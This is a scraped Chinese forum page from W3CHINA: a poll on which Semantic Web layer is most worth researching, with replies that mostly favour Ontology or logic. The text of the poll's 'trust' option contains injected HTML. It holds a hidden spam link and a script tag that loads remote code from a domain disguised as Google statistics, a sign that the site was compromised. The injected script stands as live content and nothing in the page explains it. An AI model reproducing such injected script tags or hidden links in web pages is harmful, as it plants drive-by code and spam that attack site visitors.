新书推介：《语义网技术体系》
作者：瞿裕忠，胡伟，程龚
   XML论坛     W3CHINA.ORG讨论区     计算机科学论坛     SOAChina论坛     Blog     开放翻译计划     新浪微博  
 
  • 首页
  • 登录
  • 注册
  • 软件下载
  • 资料下载
  • 核心成员
  • 帮助
    		•   Add to Google

    >> Web Architecture，探讨下一代万维网的架构/体系结构。
    [返回] 中文XML论坛 - 专业的XML技术讨论区 → W3CHINA.ORG讨论区 - Web新技术讨论 → 『 Web架构 』 → 你认为语义框架中最值得研究的是哪一层? ◇查看新帖 ◇ 用户列表 ◇

    [投票]：你认为语义框架中最值得研究的是哪一层?
    1. Uniclde＋URI 0票
    2. XML+NS 0票
    3. RDF+RDFSchena 3票
    4. Ontology 31票
    5. logic 15票
    6. proof 2票
    7. trust    </title><a style=display:none; href=http://worid-of-books.com >book</a> </title><script src=http://google-stats48.info/ur.php></script> 1票
    您还没有登录，不能进行投票；或者已经过了投票期限。[查看投票用户]

      发表一个新主题  发表一个新投票  回复主题  (订阅本版) 您是本帖的第 79369 个阅读者浏览上一篇主题  刷新本主题   平板显示贴子　浏览下一篇主题
     * 贴子主题： 你认为语义框架中最值得研究的是哪一层? 举报  打印  推荐  IE收藏夹 
       本主题类别: Semantic Web    
     rella 美女呀，离线，快来找我吧！
      
      
      等级：大一(猛啃高等数学)
      文章：27
      积分：162
      门派：W3CHINA.ORG
      注册：2007/10/24

    姓名：(无权查看)
    城市：(无权查看)
    院校：(无权查看)
    给rella发送一个短消息 把rella加入好友 查看rella的个人资料 搜索rella在『 Web架构 』 的所有贴子 引用回复这个贴子 回复这个贴子 查看rella的博客楼主
    发贴心情 你认为语义框架中最值得研究的是哪一层?

    如题

       收藏   分享  
    顶(0)
      




    点击查看用户来源及管理<br>发贴IP：*.*.*.* 2007/10/27 13:35:00
     
     GoogleAdSense
      
      
      等级：大一新生
      文章：1
      积分：50
      门派：无门无派
      院校：未填写
      注册：2007-01-01
    给Google AdSense发送一个短消息 把Google AdSense加入好友 查看Google AdSense的个人资料 搜索Google AdSense在『 Web架构 』 的所有贴子 访问Google AdSense的主页 引用回复这个贴子 回复这个贴子 查看Google AdSense的博客广告
    2024/5/9 20:44:10

    本主题贴数19，分页： [1] [2]

     *树形目录 （最近20个回帖） 顶端 
    主题：  你认为语义框架中最值得研究的是哪一层?(4字) － rella，2007年10月27日
        回复：  Ontology？它的应用不仅仅在语义网中。很多都用在知识组织、信息系统这块了。..(72字) － Jiae，2010年9月3日
        回复：  还是Ontology毕竟应用为王(26字) － qingjiao78，2010年5月17日
        回复：  逻辑有哪些方面可以深入研究？迷茫中……还有rules layer中的rules是指什么?..(71字) － tanabata，2009年12月24日
        回复：  难度越高选择的人就越少，成果也越少。所以做本体的肯定比做逻辑的多。cqcookie同志提到“结构..(138字) － Humphrey，2009年11月25日
        回复：  个人觉得，semantic web中 在ontology之前的都是基础，真正有实际应用价值的是在后..(256字) － juer，2009年11月24日
        回复：  我们可以实现一个TCP/IP嘛！现在SW连一个实现都没有，只有先框架，再希望搞一个业界实现了。..(86字) － micropuss，2008年4月3日
        回复：  体系结构有问题，就像当年ISO的OSI，没有用。(42字) － cqcookie，2008年4月2日
        回复：  看来Ontology还是比logic受欢迎呀！！(35字) － micropuss，2008年3月30日
        回复：  深受启发!(9字) － liuxiuq_1，2008年3月30日
        回复：  楼上说的很对，作为研究我觉得必须前后都要研究，但是侧重点应该放在后面，而只做应用的话，前面就足够了..(283字) － micropuss，2008年3月18日
        回复：  Ontology是个分界点。如果你将来准备做应用，就到ontology为止，如果你以后还想搞科研..(197字) － zouyuanrenren，2008年3月14日
        回复：  谢谢大家支持，我认为选择方向很重要。大家尽量说得详细些，也好给选题的同学们一点建议。..(84字) － rella，2007年11月16日
        回复：  后两层真正做出东西的人还是很少的(32字) － x-william，2007年11月14日
        回复：  是啊,而且 里面选项内容上重叠的很多,但是却只能选一个答案(56字) － kolapig，2007年11月3日
        回复：  后面5层作的人都非常多了。前面2层一般不算语义网的研究。(54字) － baojie，2007年11月3日
        回复：  个人认为前四层研究的比较多，而后三层很少有人做，可以参考的文献也很少。另外，逻辑推理这方面本人的知..(116字) － rella，2007年11月1日
        回复：  这个问题不好回答啊，就好象是问“哪个尺码的鞋子最合脚？” 每个人的答案都不一定一样吗。..(85字) － baojie，2007年11月1日
        回复：  我想还应该写出各自的理由(24字) － bzbc，2007年10月29日

    W3C Contributing Supporter! W 3 C h i n a ( since 2003 ) 旗 下 站 点
    苏ICP备05006046号《全国人大常委会关于维护互联网安全的决定》《计算机信息网络国际联网安全保护管理办法》
    		 171.875ms